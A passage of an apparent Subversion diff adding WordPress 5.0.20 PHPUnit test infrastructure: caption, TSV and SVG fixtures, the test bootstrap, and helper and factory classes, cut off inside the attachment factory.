+			<p begin="00:01:11.480" end="00:01:17.898">charged. And it's also dependent upon<br />how much time is involved. If I have</p>
+			<p begin="00:01:17.898" end="00:01:22.730">a loan and I want to decrease the amount<br />of interest that I'm going to pay, then</p>
+			<p begin="00:01:22.800" end="00:01:28.040">I'm either going to have to decrease how<br />much money I borrow, I'm going to have</p>
+			<p begin="00:01:28.220" end="00:01:32.420">to borrow the money over a shorter period<br />of time, or I'm going to have to find a</p>
+			<p begin="00:01:32.600" end="00:01:37.279">lending institution that charges a lower<br />interest rate. On the other hand, if I</p>
+			<p begin="00:01:37.279" end="00:01:41.480">want to earn more interest on my<br />investment, I'm going to have to invest</p>
+			<p begin="00:01:41.480" end="00:01:46.860">more money, leave the money in the<br />account for a longer period of time, or</p>
+			<p begin="00:01:46.860" end="00:01:49.970">find an institution that will pay<br />me a higher interest rate.</p>
+		</div>
+	</body>
+</tt>
+<?xml version="1.0" encoding="utf-8"?>
+<tt xml:lang="en" xmlns="http://www.w3.org/ns/ttml"
+	xmlns:tts="http://www.w3.org/ns/ttml#styling"
+	xmlns:ttm="http://www.w3.org/ns/ttml#metadata">
+	<head>
+		<styling>
+			<style xml:id="defaultCaption" tts:fontSize="10" tts:fontFamily="SansSerif"
+			tts:fontWeight="normal" tts:fontStyle="normal"
+			tts:textDecoration="none" tts:color="white"
+			tts:backgroundColor="black" />
+		</styling>
+
+	</head>
+	<body>
+		<div style="defaultCaption" xml:lang="en">
+			<p begin="00:00:03.400" end="00:00:06.177">In this lesson, we're going to<br />be talking about finance. And</p>
+			<p begin="00:00:06.177" end="00:00:10.009">one of the most important aspects<br />of finance is interest.</p>
+			<p begin="00:00:10.009" end="00:00:13.655">When I go to a bank or some<br />other lending institution</p>
+			<p begin="00:00:13.655" end="00:00:17.720">to borrow money, the bank is happy<br />to give me that money. But then I'm</p>
+			<p begin="00:00:17.900" end="00:00:21.480">going to be paying the bank for the<br />privilege of using their money. And that</p>
+			<p begin="00:00:21.660" end="00:00:26.440">amount of money that I pay the bank is<br />called interest. Likewise, if I put money</p>
+			<p begin="00:00:26.620" end="00:00:31.220">in a savings account or I purchase a<br />certificate of deposit, the bank just</p>
+			<p begin="00:00:31.300" end="00:00:35.800">doesn't put my money in a little box<br />and leave it there until later. They take</p>
+			<p begin="00:00:35.800" end="00:00:40.822">my money and lend it to someone<br />else. So they are using my money.</p>
+			<p begin="00:00:40.822" end="00:00:44.400">The bank has to pay me for the privilege<br />of using my money.</p>
+			<p begin="00:00:44.400" end="00:00:48.700">Now what makes banks<br />profitable is the rate</p>
+			<p begin="00:00:48.700" end="00:00:53.330">that they charge people to use the bank's<br />money is higher than the rate that they</p>
+			<p begin="00:00:53.510" end="00:01:00.720">pay people like me to use my money. The<br />amount of interest that a person pays or</p>
+			<p begin="00:01:00.800" end="00:01:06.640">earns is dependent on three things. It's<br />dependent on how much money is involved.</p>
+			<p begin="00:01:06.820" end="00:01:11.300">It's dependent upon the rate of interest<br />being paid or the rate of interest being</p>
+			<p begin="00:01:11.480" end="00:01:17.898">charged. And it's also dependent upon<br />how much time is involved. If I have</p>
+			<p begin="00:01:17.898" end="00:01:22.730">a loan and I want to decrease the amount<br />of interest that I'm going to pay, then</p>
+			<p begin="00:01:22.800" end="00:01:28.040">I'm either going to have to decrease how<br />much money I borrow, I'm going to have</p>
+			<p begin="00:01:28.220" end="00:01:32.420">to borrow the money over a shorter period<br />of time, or I'm going to have to find a</p>
+			<p begin="00:01:32.600" end="00:01:37.279">lending institution that charges a lower<br />interest rate. On the other hand, if I</p>
+			<p begin="00:01:37.279" end="00:01:41.480">want to earn more interest on my<br />investment, I'm going to have to invest</p>
+			<p begin="00:01:41.480" end="00:01:46.860">more money, leave the money in the<br />account for a longer period of time, or</p>
+			<p begin="00:01:46.860" end="00:01:49.970">find an institution that will pay<br />me a higher interest rate.</p>
+		</div>
+	</body>
+</tt>
+<?xml version="1.0" encoding="utf-8"?>
+<tt xml:lang="en" xmlns="http://www.w3.org/ns/ttml"
+	xmlns:tts="http://www.w3.org/ns/ttml#styling"
+	xmlns:ttm="http://www.w3.org/ns/ttml#metadata">
+	<head>
+		<styling>
+			<style xml:id="defaultCaption" tts:fontSize="10" tts:fontFamily="SansSerif"
+			tts:fontWeight="normal" tts:fontStyle="normal"
+			tts:textDecoration="none" tts:color="white"
+			tts:backgroundColor="black" />
+		</styling>
+
+	</head>
+	<body>
+		<div style="defaultCaption" xml:lang="en">
+			<p begin="00:00:03.400" end="00:00:06.177">In this lesson, we're going to<br />be talking about finance. And</p>
+			<p begin="00:00:06.177" end="00:00:10.009">one of the most important aspects<br />of finance is interest.</p>
+			<p begin="00:00:10.009" end="00:00:13.655">When I go to a bank or some<br />other lending institution</p>
+			<p begin="00:00:13.655" end="00:00:17.720">to borrow money, the bank is happy<br />to give me that money. But then I'm</p>
+			<p begin="00:00:17.900" end="00:00:21.480">going to be paying the bank for the<br />privilege of using their money. And that</p>
+			<p begin="00:00:21.660" end="00:00:26.440">amount of money that I pay the bank is<br />called interest. Likewise, if I put money</p>
+			<p begin="00:00:26.620" end="00:00:31.220">in a savings account or I purchase a<br />certificate of deposit, the bank just</p>
+			<p begin="00:00:31.300" end="00:00:35.800">doesn't put my money in a little box<br />and leave it there until later. They take</p>
+			<p begin="00:00:35.800" end="00:00:40.822">my money and lend it to someone<br />else. So they are using my money.</p>
+			<p begin="00:00:40.822" end="00:00:44.400">The bank has to pay me for the privilege<br />of using my money.</p>
+			<p begin="00:00:44.400" end="00:00:48.700">Now what makes banks<br />profitable is the rate</p>
+			<p begin="00:00:48.700" end="00:00:53.330">that they charge people to use the bank's<br />money is higher than the rate that they</p>
+			<p begin="00:00:53.510" end="00:01:00.720">pay people like me to use my money. The<br />amount of interest that a person pays or</p>
+			<p begin="00:01:00.800" end="00:01:06.640">earns is dependent on three things. It's<br />dependent on how much money is involved.</p>
+			<p begin="00:01:06.820" end="00:01:11.300">It's dependent upon the rate of interest<br />being paid or the rate of interest being</p>
+			<p begin="00:01:11.480" end="00:01:17.898">charged. And it's also dependent upon<br />how much time is involved. If I have</p>
+			<p begin="00:01:17.898" end="00:01:22.730">a loan and I want to decrease the amount<br />of interest that I'm going to pay, then</p>
+			<p begin="00:01:22.800" end="00:01:28.040">I'm either going to have to decrease how<br />much money I borrow, I'm going to have</p>
+			<p begin="00:01:28.220" end="00:01:32.420">to borrow the money over a shorter period<br />of time, or I'm going to have to find a</p>
+			<p begin="00:01:32.600" end="00:01:37.279">lending institution that charges a lower<br />interest rate. On the other hand, if I</p>
+			<p begin="00:01:37.279" end="00:01:41.480">want to earn more interest on my<br />investment, I'm going to have to invest</p>
+			<p begin="00:01:41.480" end="00:01:46.860">more money, leave the money in the<br />account for a longer period of time, or</p>
+			<p begin="00:01:46.860" end="00:01:49.970">find an institution that will pay<br />me a higher interest rate.</p>
+		</div>
+	</body>
+</tt>
Index: /tags/5.0.20/tests/phpunit/data/uploads/test.tsv
===================================================================
--- /tags/5.0.20/tests/phpunit/data/uploads/test.tsv	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/uploads/test.tsv	(revision 56912)
@@ -0,0 +1,12 @@
+sample	tsv	file	1
+some	text	here	2
+yup	it's	text	3
+sample	tsv	file	1
+some	text	here	2
+yup	it's	text	3
+sample	tsv	file	1
+some	text	here	2
+yup	it's	text	3
+sample	tsv	file	1
+some	text	here	2
+yup	it's	text	3
Index: /tags/5.0.20/tests/phpunit/data/uploads/test.vtt
===================================================================
--- /tags/5.0.20/tests/phpunit/data/uploads/test.vtt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/uploads/test.vtt	(revision 56912)
@@ -0,0 +1,160 @@
+WEBVTT
+
+00:11.000 --> 00:13.000
+<v Roger Bingham>We are in New York City
+
+00:13.000 --> 00:16.000
+<v Roger Bingham>We’re actually at the Lucern Hotel, just down the street
+
+00:16.000 --> 00:18.000
+<v Roger Bingham>from the American Museum of Natural History
+
+00:18.000 --> 00:20.000
+<v Roger Bingham>And with me is Neil deGrasse Tyson
+
+00:20.000 --> 00:22.000
+<v Roger Bingham>Astrophysicist, Director of the Hayden Planetarium
+
+00:22.000 --> 00:24.000
+<v Roger Bingham>at the AMNH.
+
+00:24.000 --> 00:26.000
+<v Roger Bingham>Thank you for walking down here.
+
+00:27.000 --> 00:30.000
+<v Roger Bingham>And I want to do a follow-up on the last conversation we did.
+
+00:30.000 --> 00:31.500 align:right size:50%
+<v Roger Bingham>When we e-mailed—
+
+00:30.500 --> 00:32.500 align:left size:50%
+<v Neil deGrasse Tyson>Didn’t we talk about enough in that conversation?
+
+00:32.000 --> 00:35.500 align:right size:50%
+<v Roger Bingham>No! No no no no; 'cos 'cos obviously 'cos
+
+00:32.500 --> 00:33.500 align:left size:50%
+<v Neil deGrasse Tyson><i>Laughs</i>
+
+00:35.500 --> 00:38.000
+<v Roger Bingham>You know I’m so excited my glasses are falling off here.
+WEBVTT
+
+00:11.000 --> 00:13.000
+<v Roger Bingham>We are in New York City
+
+00:13.000 --> 00:16.000
+<v Roger Bingham>We’re actually at the Lucern Hotel, just down the street
+
+00:16.000 --> 00:18.000
+<v Roger Bingham>from the American Museum of Natural History
+
+00:18.000 --> 00:20.000
+<v Roger Bingham>And with me is Neil deGrasse Tyson
+
+00:20.000 --> 00:22.000
+<v Roger Bingham>Astrophysicist, Director of the Hayden Planetarium
+
+00:22.000 --> 00:24.000
+<v Roger Bingham>at the AMNH.
+
+00:24.000 --> 00:26.000
+<v Roger Bingham>Thank you for walking down here.
+
+00:27.000 --> 00:30.000
+<v Roger Bingham>And I want to do a follow-up on the last conversation we did.
+
+00:30.000 --> 00:31.500 align:right size:50%
+<v Roger Bingham>When we e-mailed—
+
+00:30.500 --> 00:32.500 align:left size:50%
+<v Neil deGrasse Tyson>Didn’t we talk about enough in that conversation?
+
+00:32.000 --> 00:35.500 align:right size:50%
+<v Roger Bingham>No! No no no no; 'cos 'cos obviously 'cos
+
+00:32.500 --> 00:33.500 align:left size:50%
+<v Neil deGrasse Tyson><i>Laughs</i>
+
+00:35.500 --> 00:38.000
+<v Roger Bingham>You know I’m so excited my glasses are falling off here.
+WEBVTT
+
+00:11.000 --> 00:13.000
+<v Roger Bingham>We are in New York City
+
+00:13.000 --> 00:16.000
+<v Roger Bingham>We’re actually at the Lucern Hotel, just down the street
+
+00:16.000 --> 00:18.000
+<v Roger Bingham>from the American Museum of Natural History
+
+00:18.000 --> 00:20.000
+<v Roger Bingham>And with me is Neil deGrasse Tyson
+
+00:20.000 --> 00:22.000
+<v Roger Bingham>Astrophysicist, Director of the Hayden Planetarium
+
+00:22.000 --> 00:24.000
+<v Roger Bingham>at the AMNH.
+
+00:24.000 --> 00:26.000
+<v Roger Bingham>Thank you for walking down here.
+
+00:27.000 --> 00:30.000
+<v Roger Bingham>And I want to do a follow-up on the last conversation we did.
+
+00:30.000 --> 00:31.500 align:right size:50%
+<v Roger Bingham>When we e-mailed—
+
+00:30.500 --> 00:32.500 align:left size:50%
+<v Neil deGrasse Tyson>Didn’t we talk about enough in that conversation?
+
+00:32.000 --> 00:35.500 align:right size:50%
+<v Roger Bingham>No! No no no no; 'cos 'cos obviously 'cos
+
+00:32.500 --> 00:33.500 align:left size:50%
+<v Neil deGrasse Tyson><i>Laughs</i>
+
+00:35.500 --> 00:38.000
+<v Roger Bingham>You know I’m so excited my glasses are falling off here.
+WEBVTT
+
+00:11.000 --> 00:13.000
+<v Roger Bingham>We are in New York City
+
+00:13.000 --> 00:16.000
+<v Roger Bingham>We’re actually at the Lucern Hotel, just down the street
+
+00:16.000 --> 00:18.000
+<v Roger Bingham>from the American Museum of Natural History
+
+00:18.000 --> 00:20.000
+<v Roger Bingham>And with me is Neil deGrasse Tyson
+
+00:20.000 --> 00:22.000
+<v Roger Bingham>Astrophysicist, Director of the Hayden Planetarium
+
+00:22.000 --> 00:24.000
+<v Roger Bingham>at the AMNH.
+
+00:24.000 --> 00:26.000
+<v Roger Bingham>Thank you for walking down here.
+
+00:27.000 --> 00:30.000
+<v Roger Bingham>And I want to do a follow-up on the last conversation we did.
+
+00:30.000 --> 00:31.500 align:right size:50%
+<v Roger Bingham>When we e-mailed—
+
+00:30.500 --> 00:32.500 align:left size:50%
+<v Neil deGrasse Tyson>Didn’t we talk about enough in that conversation?
+
+00:32.000 --> 00:35.500 align:right size:50%
+<v Roger Bingham>No! No no no no; 'cos 'cos obviously 'cos
+
+00:32.500 --> 00:33.500 align:left size:50%
+<v Neil deGrasse Tyson><i>Laughs</i>
+
+00:35.500 --> 00:38.000
+<v Roger Bingham>You know I’m so excited my glasses are falling off here.
Index: /tags/5.0.20/tests/phpunit/data/uploads/video-play.svg
===================================================================
--- /tags/5.0.20/tests/phpunit/data/uploads/video-play.svg	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/uploads/video-play.svg	(revision 56912)
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="64" height="64">
+	<circle cx="32" cy="32" r="25" stroke="white" stroke-width="7" fill="black" fill-opacity="0.2"/>
+	<polygon points="26,22 26,42 43,32" fill="white"/>
+</svg>
Index: /tags/5.0.20/tests/phpunit/includes/bootstrap.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/bootstrap.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/bootstrap.php	(revision 56912)
@@ -0,0 +1,202 @@
+<?php
+/**
+ * Installs WordPress for running the tests and loads WordPress and the test libraries
+ */
+
+/**
+ * Compatibility with PHPUnit 6+
+ */
+if ( class_exists( 'PHPUnit\Runner\Version' ) ) {
+	require_once dirname( __FILE__ ) . '/phpunit6-compat.php';
+}
+
+$config_file_path = dirname( dirname( __FILE__ ) );
+if ( ! file_exists( $config_file_path . '/wp-tests-config.php' ) ) {
+	// Support the config file from the root of the develop repository.
+	if ( basename( $config_file_path ) === 'phpunit' && basename( dirname( $config_file_path ) ) === 'tests' )
+		$config_file_path = dirname( dirname( $config_file_path ) );
+}
+$config_file_path .= '/wp-tests-config.php';
+
+/*
+ * Globalize some WordPress variables, because PHPUnit loads this file inside a function
+ * See: https://github.com/sebastianbergmann/phpunit/issues/325
+ */
+global $wpdb, $current_site, $current_blog, $wp_rewrite, $shortcode_tags, $wp, $phpmailer, $wp_theme_directories;
+
+if ( ! is_readable( $config_file_path ) ) {
+	echo "ERROR: wp-tests-config.php is missing! Please use wp-tests-config-sample.php to create a config file.\n";
+	exit( 1 );
+}
+require_once $config_file_path;
+require_once dirname( __FILE__ ) . '/functions.php';
+
+tests_reset__SERVER();
+
+define( 'WP_TESTS_TABLE_PREFIX', $table_prefix );
+define( 'DIR_TESTDATA', dirname( __FILE__ ) . '/../data' );
+
+define( 'WP_LANG_DIR', DIR_TESTDATA . '/languages' );
+
+if ( ! defined( 'WP_TESTS_FORCE_KNOWN_BUGS' ) )
+	define( 'WP_TESTS_FORCE_KNOWN_BUGS', false );
+
+// Cron tries to make an HTTP request to the blog, which always fails, because tests are run in CLI mode only
+define( 'DISABLE_WP_CRON', true );
+
+define( 'WP_MEMORY_LIMIT', -1 );
+define( 'WP_MAX_MEMORY_LIMIT', -1 );
+
+define( 'REST_TESTS_IMPOSSIBLY_HIGH_NUMBER', 99999999 );
+
+$PHP_SELF = $GLOBALS['PHP_SELF'] = $_SERVER['PHP_SELF'] = '/index.php';
+
+// Should we run in multisite mode?
+$multisite = '1' == getenv( 'WP_MULTISITE' );
+$multisite = $multisite || ( defined( 'WP_TESTS_MULTISITE') && WP_TESTS_MULTISITE );
+$multisite = $multisite || ( defined( 'MULTISITE' ) && MULTISITE );
+
+// Override the PHPMailer
+require_once( dirname( __FILE__ ) . '/mock-mailer.php' );
+$phpmailer = new MockPHPMailer( true );
+
+if ( ! defined( 'WP_DEFAULT_THEME' ) ) {
+	define( 'WP_DEFAULT_THEME', 'default' );
+}
+$wp_theme_directories = array();
+
+if ( file_exists( DIR_TESTDATA . '/themedir1' ) ) {
+	$wp_theme_directories[] = DIR_TESTDATA . '/themedir1';
+}
+
+system( WP_PHP_BINARY . ' ' . escapeshellarg( dirname( __FILE__ ) . '/install.php' ) . ' ' . escapeshellarg( $config_file_path ) . ' ' . $multisite, $retval );
+if ( 0 !== $retval ) {
+	exit( $retval );
+}
+
+if ( $multisite ) {
+	echo "Running as multisite..." . PHP_EOL;
+	defined( 'MULTISITE' ) or define( 'MULTISITE', true );
+	defined( 'SUBDOMAIN_INSTALL' ) or define( 'SUBDOMAIN_INSTALL', false );
+	$GLOBALS['base'] = '/';
+} else {
+	echo "Running as single site... To run multisite, use -c tests/phpunit/multisite.xml" . PHP_EOL;
+}
+unset( $multisite );
+
+$GLOBALS['_wp_die_disabled'] = false;
+// Allow tests to override wp_die
+tests_add_filter( 'wp_die_handler', '_wp_die_handler_filter' );
+
+// Preset WordPress options defined in bootstrap file.
+// Used to activate themes, plugins, as well as  other settings.
+if(isset($GLOBALS['wp_tests_options'])) {
+	function wp_tests_options( $value ) {
+		$key = substr( current_filter(), strlen( 'pre_option_' ) );
+		return $GLOBALS['wp_tests_options'][$key];
+	}
+
+	foreach ( array_keys( $GLOBALS['wp_tests_options'] ) as $key ) {
+		tests_add_filter( 'pre_option_'.$key, 'wp_tests_options' );
+	}
+}
+
+// Load WordPress
+require_once ABSPATH . '/wp-settings.php';
+
+// Delete any default posts & related data
+_delete_all_posts();
+
+require dirname( __FILE__ ) . '/testcase.php';
+require dirname( __FILE__ ) . '/testcase-rest-api.php';
+require dirname( __FILE__ ) . '/testcase-rest-controller.php';
+require dirname( __FILE__ ) . '/testcase-rest-post-type-controller.php';
+require dirname( __FILE__ ) . '/testcase-xmlrpc.php';
+require dirname( __FILE__ ) . '/testcase-ajax.php';
+require dirname( __FILE__ ) . '/testcase-canonical.php';
+require dirname( __FILE__ ) . '/exceptions.php';
+require dirname( __FILE__ ) . '/utils.php';
+require dirname( __FILE__ ) . '/spy-rest-server.php';
+require dirname( __FILE__ ) . '/class-wp-rest-test-search-handler.php';
+require dirname( __FILE__ ) . '/class-wp-fake-block-type.php';
+
+/**
+ * A child class of the PHP test runner.
+ *
+ * Used to access the protected longOptions property, to parse the arguments
+ * passed to the script.
+ *
+ * If it is determined that phpunit was called with a --group that corresponds
+ * to an @ticket annotation (such as `phpunit --group 12345` for bugs marked
+ * as #WP12345), then it is assumed that known bugs should not be skipped.
+ *
+ * If WP_TESTS_FORCE_KNOWN_BUGS is already set in wp-tests-config.php, then
+ * how you call phpunit has no effect.
+ */
+class WP_PHPUnit_Util_Getopt extends PHPUnit_Util_Getopt {
+	protected $longOptions = array(
+	  'exclude-group=',
+	  'group=',
+	);
+	function __construct( $argv ) {
+		array_shift( $argv );
+		$options = array();
+		while ( current( $argv ) ) {
+			$arg = current( $argv );
+			next( $argv );
+			try {
+				if ( strlen( $arg ) > 1 && $arg[0] === '-' && $arg[1] === '-' ) {
+					PHPUnit_Util_Getopt::parseLongOption( substr( $arg, 2 ), $this->longOptions, $options, $argv );
+				}
+			}
+			catch ( PHPUnit_Framework_Exception $e ) {
+				// Enforcing recognized arguments or correctly formed arguments is
+				// not really the concern here.
+				continue;
+			}
+		}
+
+		$skipped_groups = array(
+			'ajax' => true,
+			'ms-files' => true,
+			'external-http' => true,
+		);
+
+		foreach ( $options as $option ) {
+			switch ( $option[0] ) {
+				case '--exclude-group' :
+					foreach ( $skipped_groups as $group_name => $skipped ) {
+						$skipped_groups[ $group_name ] = false;
+					}
+					continue 2;
+				case '--group' :
+					$groups = explode( ',', $option[1] );
+					foreach ( $groups as $group ) {
+						if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) ) {
+							WP_UnitTestCase::forceTicket( $group );
+						}
+					}
+
+					foreach ( $skipped_groups as $group_name => $skipped ) {
+						if ( in_array( $group_name, $groups ) ) {
+							$skipped_groups[ $group_name ] = false;
+						}
+					}
+					continue 2;
+			}
+		}
+
+		$skipped_groups = array_filter( $skipped_groups );
+		foreach ( $skipped_groups as $group_name => $skipped ) {
+			echo sprintf( 'Not running %1$s tests. To execute these, use --group %1$s.', $group_name ) . PHP_EOL;
+		}
+
+		if ( ! isset( $skipped_groups['external-http'] ) ) {
+			echo PHP_EOL;
+			echo 'External HTTP skipped tests can be caused by timeouts.' . PHP_EOL;
+			echo 'If this changeset includes changes to HTTP, make sure there are no timeouts.' . PHP_EOL;
+			echo PHP_EOL;
+		}
+    }
+}
+new WP_PHPUnit_Util_Getopt( $_SERVER['argv'] );
Index: /tags/5.0.20/tests/phpunit/includes/class-basic-object.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/class-basic-object.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/class-basic-object.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Unit Tests: Basic_Object cloass
+ *
+ * @package WordPress
+ * @subpackage UnitTests
+ * @since 4.7.0
+ */
+
+/**
+ * Class used to test accessing methods and properties
+ *
+ * @since 4.0.0
+ */
+class Basic_Object {
+	private $foo = 'bar';
+
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	private function callMe() {
+		return 'maybe';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/class-basic-subclass.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/class-basic-subclass.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/class-basic-subclass.php	(revision 56912)
@@ -0,0 +1,15 @@
+<?php
+/**
+ * Unit Tests: Basic_Subclass class
+ *
+ * @package WordPress
+ * @subpackage UnitTests
+ * @since 4.7.0
+ */
+
+/**
+ * Class used to test accessing methods and properties.
+ *
+ * @since 4.0.0
+ */
+class Basic_Subclass extends Basic_Object {}
Index: /tags/5.0.20/tests/phpunit/includes/class-wp-fake-block-type.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/class-wp-fake-block-type.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/class-wp-fake-block-type.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * WP_Fake_Block_Type for testing
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Test class extending WP_Block_Type
+ *
+ * @since 5.0.0
+ */
+class WP_Fake_Block_Type extends WP_Block_Type {
+
+	/**
+	 * Render the fake block.
+	 *
+	 * @param array  $attributes Optional. Block attributes. Default empty array.
+	 * @param string $content    Optional. Block content. Default empty string.
+	 * @return string Rendered block HTML.
+	 */
+	public function render( $attributes = array(), $content = '' ) {
+		return '<div>' . $content . '</div>';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/class-wp-rest-test-search-handler.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/class-wp-rest-test-search-handler.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/class-wp-rest-test-search-handler.php	(revision 56912)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * REST API: WP_REST_Test_Search_Handler class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ */
+
+/**
+ * Test class extending WP_REST_Search_Handler
+ */
+class WP_REST_Test_Search_Handler extends WP_REST_Search_Handler {
+
+	protected $items = array();
+
+	public function __construct( $amount = 10 ) {
+		$this->type = 'test';
+
+		$this->subtypes = array( 'test_first_type', 'test_second_type' );
+
+		$this->items = array();
+		for ( $i = 1; $i <= $amount; $i++ ) {
+			$subtype = $i > $amount / 2 ? 'test_second_type' : 'test_first_type';
+
+			$this->items[ $i ] = (object) array(
+				'test_id'    => $i,
+				'test_title' => sprintf( 'Title %d', $i ),
+				'test_url'   => sprintf( home_url( '/tests/%d' ), $i ),
+				'test_type'  => $subtype,
+			);
+		}
+	}
+
+	public function search_items( WP_REST_Request $request ) {
+		$subtypes = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
+		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $subtypes, true ) ) {
+			$subtypes = $this->subtypes;
+		}
+
+		$results = array();
+		foreach ( $subtypes as $subtype ) {
+			$results = array_merge( $results, wp_list_filter( array_values( $this->items ), array( 'test_type' => $subtype ) ) );
+		}
+
+		$results = wp_list_sort( $results, 'test_id', 'DESC' );
+
+		$number = (int) $request['per_page'];
+		$offset = (int) $request['per_page'] * ( (int) $request['page'] - 1 );
+
+		$total = count( $results );
+
+		$results = array_slice( $results, $offset, $number );
+
+		return array(
+			self::RESULT_IDS   => wp_list_pluck( $results, 'test_id' ),
+			self::RESULT_TOTAL => $total,
+		);
+	}
+
+	public function prepare_item( $id, array $fields ) {
+		$test = $this->items[ $id ];
+
+		$data = array();
+
+		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $test->test_id;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_TITLE ] = $test->test_title;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_URL ] = $test->test_url;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
+		}
+
+		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
+			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $test->test_type;
+		}
+
+		return $data;
+	}
+
+	public function prepare_item_links( $id ) {
+		return array();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/exceptions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/exceptions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/exceptions.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+
+class WP_Tests_Exception extends PHPUnit_Framework_Exception {
+
+}
+
+/**
+ * General exception for wp_die()
+ */
+class WPDieException extends Exception {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means there was an error (no output, and a call to wp_die)
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieStopException extends WPDieException {}
+
+/**
+ * Exception for cases of wp_die(), for ajax tests.
+ * This means execution of the ajax function should be halted, but the unit
+ * test can continue.  The function finished normally and there was not an
+ * error (output happened, but wp_die was called to end execution)  This is
+ * used with WP_Ajax_Response::send
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.4.0
+ */
+class WPAjaxDieContinueException extends WPDieException {}
Index: /tags/5.0.20/tests/phpunit/includes/factory.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory.php	(revision 56912)
@@ -0,0 +1,14 @@
+<?php
+
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-thing.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-post.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-bookmark.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-attachment.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-user.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-comment.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-blog.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-network.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-for-term.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-generator-sequence.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory-callback-after-create.php' );
+require_once( dirname( __FILE__ ) . '/factory/class-wp-unittest-factory.php' );
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-callback-after-create.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-callback-after-create.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-callback-after-create.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+
+class WP_UnitTest_Factory_Callback_After_Create {
+	var $callback;
+
+	function __construct( $callback ) {
+		$this->callback = $callback;
+	}
+
+	function call( $object ) {
+		return call_user_func( $this->callback, $object );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-attachment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-attachment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/factory/class-wp-unittest-factory-for-attachment.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+
+class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post {
+
+	/**
+	 * Create an attachment fixture.
+	 *
+	 * @param array $args {
+	 *     Array of arguments. Accepts all arguments that can be passed to
+	 *     wp_insert_attachment(), in addition to the following:
+	 *     @type int    $post_parent ID of the post to which the attachment belongs.
+	 *     @type string $file        Path of the attached file.
+	 * }
+	 * @param int   $legacy_parent Deprecated.
+	 * @param array $legacy_args   Deprecated
+	 */
+	function create_object( $args, $legacy_parent = 0, $legacy_args = array() ) {
+		// Backward compatibility for legacy argument format.
